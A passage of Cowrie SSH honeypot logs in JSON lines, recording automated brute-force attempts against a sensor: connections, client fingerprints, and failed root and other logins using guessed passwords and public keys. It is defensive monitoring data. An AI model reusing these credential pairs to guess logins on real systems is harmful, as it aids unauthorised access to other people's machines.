c-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:35:20.309810Z","src_ip":"194.113.233.25","session":"a96d9e741840","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"torres","message":"login attempt [root/torres] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:35:20.594576Z","src_ip":"194.113.233.25","session":"a96d9e741840","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:35:21.692845Z","src_ip":"194.113.233.25","session":"a96d9e741840","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.91.246.101","src_port":41884,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb9feaeb34af","protocol":"ssh","message":"New connection: 103.91.246.101:41884 (159.203.135.109:22) [session: fb9feaeb34af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:35:38.725783Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:35:38.731660Z","src_ip":"103.91.246.101","session":"fb9feaeb34af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:35:38.961950Z","src_ip":"103.91.246.101","session":"fb9feaeb34af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:35:39.895763Z","src_ip":"103.91.246.101","session":"fb9feaeb34af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:35:41.128269Z","src_ip":"103.91.246.101","session":"fb9feaeb34af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.188.200","src_port":39480,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc82cf568c94","protocol":"ssh","message":"New connection: 170.106.188.200:39480 (159.203.135.109:22) [session: bc82cf568c94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:35:42.526670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:35:42.531939Z","src_ip":"170.106.188.200","session":"bc82cf568c94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:35:42.601363Z","src_ip":"170.106.188.200","session":"bc82cf568c94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xiaoling","message":"login attempt [root/xiaoling] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:35:42.907738Z","src_ip":"170.106.188.200","session":"bc82cf568c94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:35:43.982106Z","src_ip":"170.106.188.200","session":"bc82cf568c94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.141.86","src_port":40492,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b4caca01fdb","protocol":"ssh","message":"New connection: 171.244.141.86:40492 (159.203.135.109:22) [session: 0b4caca01fdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:35:48.100441Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:35:48.105400Z","src_ip":"171.244.141.86","session":"0b4caca01fdb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:35:48.357293Z","src_ip":"171.244.141.86","session":"0b4caca01fdb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alinutzuhacker","message":"login attempt [root/alinutzuhacker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:35:49.406311Z","src_ip":"171.244.141.86","session":"0b4caca01fdb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:35:50.660349Z","src_ip":"171.244.141.86","session":"0b4caca01fdb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.16.115.17","src_port":39268,"dst_ip":"10.17.0.5","dst_port":22,"session":"5dd17be45027","protocol":"ssh","message":"New connection: 154.16.115.17:39268 (10.17.0.5:22) [session: 5dd17be45027]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:36:35.982637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:36:35.989146Z","src_ip":"154.16.115.17","session":"5dd17be45027","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:36:36.016927Z","src_ip":"154.16.115.17","session":"5dd17be45027","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"65:93:7b:b8:05:7a:52:dc:5b:e1:8a:5c:bf:b6:d5:c7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDhr4Yur87R+YUZp9i4Ay+0pVNAckbf0Dq14dHSPMwWsLU+end8fHbZqlxocgPuMr59/+Wi9uA8m6MdPUUEWbMOtXxGPZ00CpEYSlynIwgOge6vbW/MEUZzDOlLF6MSHngIvLgyUT1bIsGt0YOq2u1Q6WswYZlRDexBvlXCXZtEjIe+oNLn/vfBZJ58EASGfseWZN/1kf7GywS02a9PI+d0COe2fJRjJCOl8jYfNh3LyKu6bLsrwWC/iQ/ALrYkbh/auBBimgb65xM9e+v+tiLbvyO75QUELPfQkgxPNXEBziBkR4MDI9h5BkNbrEoWSuMQjzjyvS4C8We+bDSadzhcDveiVe7Reoj6S1p+zy4Zhr0rLCG1beqYNbgGa6V3GUaBCSmNFPvEC47ndH9l793mz+QJ1YntihQRHxtrSWtfk6sZnsjU5E6U+cMWNjmMUfF+3AZhQkd/u5jNTdnbZXwIacSn2cO/dg4X4taUJvkNQPeXu4iDl6OsIGadHGkpPU8=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 65:93:7b:b8:05:7a:52:dc:5b:e1:8a:5c:bf:b6:d5:c7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:36:36.132316Z","src_ip":"154.16.115.17","session":"5dd17be45027","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"65:93:7b:b8:05:7a:52:dc:5b:e1:8a:5c:bf:b6:d5:c7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDhr4Yur87R+YUZp9i4Ay+0pVNAckbf0Dq14dHSPMwWsLU+end8fHbZqlxocgPuMr59/+Wi9uA8m6MdPUUEWbMOtXxGPZ00CpEYSlynIwgOge6vbW/MEUZzDOlLF6MSHngIvLgyUT1bIsGt0YOq2u1Q6WswYZlRDexBvlXCXZtEjIe+oNLn/vfBZJ58EASGfseWZN/1kf7GywS02a9PI+d0COe2fJRjJCOl8jYfNh3LyKu6bLsrwWC/iQ/ALrYkbh/auBBimgb65xM9e+v+tiLbvyO75QUELPfQkgxPNXEBziBkR4MDI9h5BkNbrEoWSuMQjzjyvS4C8We+bDSadzhcDveiVe7Reoj6S1p+zy4Zhr0rLCG1beqYNbgGa6V3GUaBCSmNFPvEC47ndH9l793mz+QJ1YntihQRHxtrSWtfk6sZnsjU5E6U+cMWNjmMUfF+3AZhQkd/u5jNTdnbZXwIacSn2cO/dg4X4taUJvkNQPeXu4iDl6OsIGadHGkpPU8=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:36:36.136814Z","src_ip":"154.16.115.17","session":"5dd17be45027","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"64:42:07:a7:44:1d:59:b4:fb:2a:4c:cd:4b:bb:38:7c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDqusTPEJHM43/sn1qVZD930CL86U+pDKBI3Q19W6v8TeBPXPe1kw84uWRVvnU6eoIq7SO/imyW/ux/zuyNelJ604oYcq+wC1pB8PjjC8KgNNF5l4TjlL41NQmXgQmNiCRZozIpQwp9sbVrDlrRPx//xgNM/LRpsi/CzwtqBHQOT6IA00ELz3UFO3aaKBK5BzMQ7G4/6HI8V/hrtxdI4t96+Qdb/lJlJ6hLtAi199T7lRoSTeZl7AtBu3bGd58OqTIlAYjiFp6lOtrOoR8X9pzlg7HfdjsVE98wZ108mtu0FxU8aDF/HwVhZ5Eq6qoM2GP3ux7+pCWzzq/7+mbrTbdOjscRUIm1eR3wzeJrcgHCGWZDoMfE91WJQzpoxEWTXtekl8d/ChcT2MdlkI8NF1hCdgDwrDTj00eFNBySLdRsJl5hXVYV2DVdfcw0ofEQxucqxer2wLlyAIkbecj1oZVfc3wRkk8ZKnBmAS2tRy4kTFBnzt+SmMnl7ZvRTu7/leTh+B69qqtAvOWuB/f3pWZ20uMUzOVQ2wJBOKmAguEb996cmZ/0p4dR8kt28VX6gHMnlgTas1VIn2HX9ilz/WgSlDJUvU6oqx6nuzPtsa5akBAMXj1eKs5Wh+t0NNN+GSeuoudkbkTaVs7Ro4QGw+V0tj1YSnnb6yiUhG9TsAFP6Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 64:42:07:a7:44:1d:59:b4:fb:2a:4c:cd:4b:bb:38:7c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:36:36.167783Z","src_ip":"154.16.115.17","session":"5dd17be45027","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"64:42:07:a7:44:1d:59:b4:fb:2a:4c:cd:4b:bb:38:7c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDqusTPEJHM43/sn1qVZD930CL86U+pDKBI3Q19W6v8TeBPXPe1kw84uWRVvnU6eoIq7SO/imyW/ux/zuyNelJ604oYcq+wC1pB8PjjC8KgNNF5l4TjlL41NQmXgQmNiCRZozIpQwp9sbVrDlrRPx//xgNM/LRpsi/CzwtqBHQOT6IA00ELz3UFO3aaKBK5BzMQ7G4/6HI8V/hrtxdI4t96+Qdb/lJlJ6hLtAi199T7lRoSTeZl7AtBu3bGd58OqTIlAYjiFp6lOtrOoR8X9pzlg7HfdjsVE98wZ108mtu0FxU8aDF/HwVhZ5Eq6qoM2GP3ux7+pCWzzq/7+mbrTbdOjscRUIm1eR3wzeJrcgHCGWZDoMfE91WJQzpoxEWTXtekl8d/ChcT2MdlkI8NF1hCdgDwrDTj00eFNBySLdRsJl5hXVYV2DVdfcw0ofEQxucqxer2wLlyAIkbecj1oZVfc3wRkk8ZKnBmAS2tRy4kTFBnzt+SmMnl7ZvRTu7/leTh+B69qqtAvOWuB/f3pWZ20uMUzOVQ2wJBOKmAguEb996cmZ/0p4dR8kt28VX6gHMnlgTas1VIn2HX9ilz/WgSlDJUvU6oqx6nuzPtsa5akBAMXj1eKs5Wh+t0NNN+GSeuoudkbkTaVs7Ro4QGw+V0tj1YSnnb6yiUhG9TsAFP6Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:36:36.174374Z","src_ip":"154.16.115.17","session":"5dd17be45027","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a0:a4:7d:33:4a:8f:66:d3:3b:b1:bb:da:35:ac:e5:54","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC5F+oij1UtZ6D+MXLKkedAu4unp064F+pAaKvolZTfCt0ui8mFKQb+sJSC/N0hPS9jHktkiSLluNdhRAJ5hmt5HjfuL67S09N72Ly4bMM1ERnZwxhVkscTfoAFGC14B2demVtdmHt1emTUGIIb2ga1sPw+I6kpZobfE7ZpSsMVp1LCCS5CWOOn9X/bBmJJHnQ9XR8VAYl89DX5Xbykl2sXYHP5ZEw7O3cmyxF6TP5chQCxb92dIcaJG9bJIoTLZIDfRW0MHcMDUUC2kobDNVu66ugXDTbCh83ceMiAqhqB8tagNB9KHtDP3qikNhsCQCNI5bHDEOhs29hSFFJqd0RxGDiESVeX1bf0VdbrZys6nOwELjaJyaPlIPQ/Fijmird5kNyEbN+Y6wGDTyqXwHQdBInegeUnCOVWNvtM9As/FTFKMWGz2eupgFZtMCKKYE29vMZi9Q0Z8c3gz2tN8osvYdjlNqFZdtaO2OzG5E/7ZsZojP3sBpDQxEldo/xal6XFRT6QmUNrVUiLcD1f83rh5mgi6BvPaoeYGNs1uRfNALhG6uTyZaxoCzipwDHMCIzb/BdD9GShe1F0eRBKdKP5j9u99fYaPkOpjiNJ/5Tt+0d3GcJQdOQ7vYFVaHffqWG+nqLn9alOlYa7BqGudWg/TiuWHUg+7eN4HsJSB9aVYQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a0:a4:7d:33:4a:8f:66:d3:3b:b1:bb:da:35:ac:e5:54","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:36:36.202675Z","src_ip":"154.16.115.17","session":"5dd17be45027","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a0:a4:7d:33:4a:8f:66:d3:3b:b1:bb:da:35:ac:e5:54","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC5F+oij1UtZ6D+MXLKkedAu4unp064F+pAaKvolZTfCt0ui8mFKQb+sJSC/N0hPS9jHktkiSLluNdhRAJ5hmt5HjfuL67S09N72Ly4bMM1ERnZwxhVkscTfoAFGC14B2demVtdmHt1emTUGIIb2ga1sPw+I6kpZobfE7ZpSsMVp1LCCS5CWOOn9X/bBmJJHnQ9XR8VAYl89DX5Xbykl2sXYHP5ZEw7O3cmyxF6TP5chQCxb92dIcaJG9bJIoTLZIDfRW0MHcMDUUC2kobDNVu66ugXDTbCh83ceMiAqhqB8tagNB9KHtDP3qikNhsCQCNI5bHDEOhs29hSFFJqd0RxGDiESVeX1bf0VdbrZys6nOwELjaJyaPlIPQ/Fijmird5kNyEbN+Y6wGDTyqXwHQdBInegeUnCOVWNvtM9As/FTFKMWGz2eupgFZtMCKKYE29vMZi9Q0Z8c3gz2tN8osvYdjlNqFZdtaO2OzG5E/7ZsZojP3sBpDQxEldo/xal6XFRT6QmUNrVUiLcD1f83rh5mgi6BvPaoeYGNs1uRfNALhG6uTyZaxoCzipwDHMCIzb/BdD9GShe1F0eRBKdKP5j9u99fYaPkOpjiNJ/5Tt+0d3GcJQdOQ7vYFVaHffqWG+nqLn9alOlYa7BqGudWg/TiuWHUg+7eN4HsJSB9aVYQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:36:36.206926Z","src_ip":"154.16.115.17","session":"5dd17be45027","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"30:eb:9a:70:0a:66:5e:ca:ba:6e:24:3f:33:44:96:84","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDI5IkIHCXY3XEEy3UwqzMiE72Yx/KasajYE32E4c5VoWr9e86346WBZe7wEUWrkYL6cUIJw4H6l3lBWuaZWmVzIy58SvFpeH63M+ilEu1rMA/UfHFJlwinD4G0xkbIEEGt0rNzTRwt7fQGqWD5kvBcOWfv0uSRCFywJ3/l07fhnfUjdPCdazDfwOynA5uNwW8oxY3oFYxb3lVE2/f9YcHYSq5Tvaaj4vQyRMNEQMWFwkYHeQGg5EA7r6dVWqJQMjaXNhuiX65+k6TSwERFS1yDjJOK3epruaxjdnGEZszzou/RSmpjgpuzVJUknUGiw/miqHQn2mnEeZUluZWcXRQHbGJswccFQ7Ao9o3LBOOg2CRAiiRh9mk+nTBOnSWnzVtH1Bgdq8u6P20UMcppUIzNfmJVh5u2Qa8TpkPvkdPyNMY80zZABRaU1TEciyQCgL2uR5yREftD/KJ+cHg0n4PRh75JidEQdLnS7abqpblJD//Nw6lZwUR1xuvrQ0lLg6fJ0LIdhyLll8xJlwzW5cAOr7Px9F9DOAGorhodaulnGM+gm+vmM2jyAkkOgYR/FhiK3SzsnFeXGio1Wvv+z8XgwWkTKicnCNoMH8oZcDnYk2xuAmvUhVuhDpPuQVckIL7zbx7z1ZKVGKB1Fft6A0PuAeAb5hkrV+UvZahTGniAFQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 30:eb:9a:70:0a:66:5e:ca:ba:6e:24:3f:33:44:96:84","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:36:36.240905Z","src_ip":"154.16.115.17","session":"5dd17be45027","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"30:eb:9a:70:0a:66:5e:ca:ba:6e:24:3f:33:44:96:84","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDI5IkIHCXY3XEEy3UwqzMiE72Yx/KasajYE32E4c5VoWr9e86346WBZe7wEUWrkYL6cUIJw4H6l3lBWuaZWmVzIy58SvFpeH63M+ilEu1rMA/UfHFJlwinD4G0xkbIEEGt0rNzTRwt7fQGqWD5kvBcOWfv0uSRCFywJ3/l07fhnfUjdPCdazDfwOynA5uNwW8oxY3oFYxb3lVE2/f9YcHYSq5Tvaaj4vQyRMNEQMWFwkYHeQGg5EA7r6dVWqJQMjaXNhuiX65+k6TSwERFS1yDjJOK3epruaxjdnGEZszzou/RSmpjgpuzVJUknUGiw/miqHQn2mnEeZUluZWcXRQHbGJswccFQ7Ao9o3LBOOg2CRAiiRh9mk+nTBOnSWnzVtH1Bgdq8u6P20UMcppUIzNfmJVh5u2Qa8TpkPvkdPyNMY80zZABRaU1TEciyQCgL2uR5yREftD/KJ+cHg0n4PRh75JidEQdLnS7abqpblJD//Nw6lZwUR1xuvrQ0lLg6fJ0LIdhyLll8xJlwzW5cAOr7Px9F9DOAGorhodaulnGM+gm+vmM2jyAkkOgYR/FhiK3SzsnFeXGio1Wvv+z8XgwWkTKicnCNoMH8oZcDnYk2xuAmvUhVuhDpPuQVckIL7zbx7z1ZKVGKB1Fft6A0PuAeAb5hkrV+UvZahTGniAFQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:36:36.244924Z","src_ip":"154.16.115.17","session":"5dd17be45027","protocol":"ssh"}
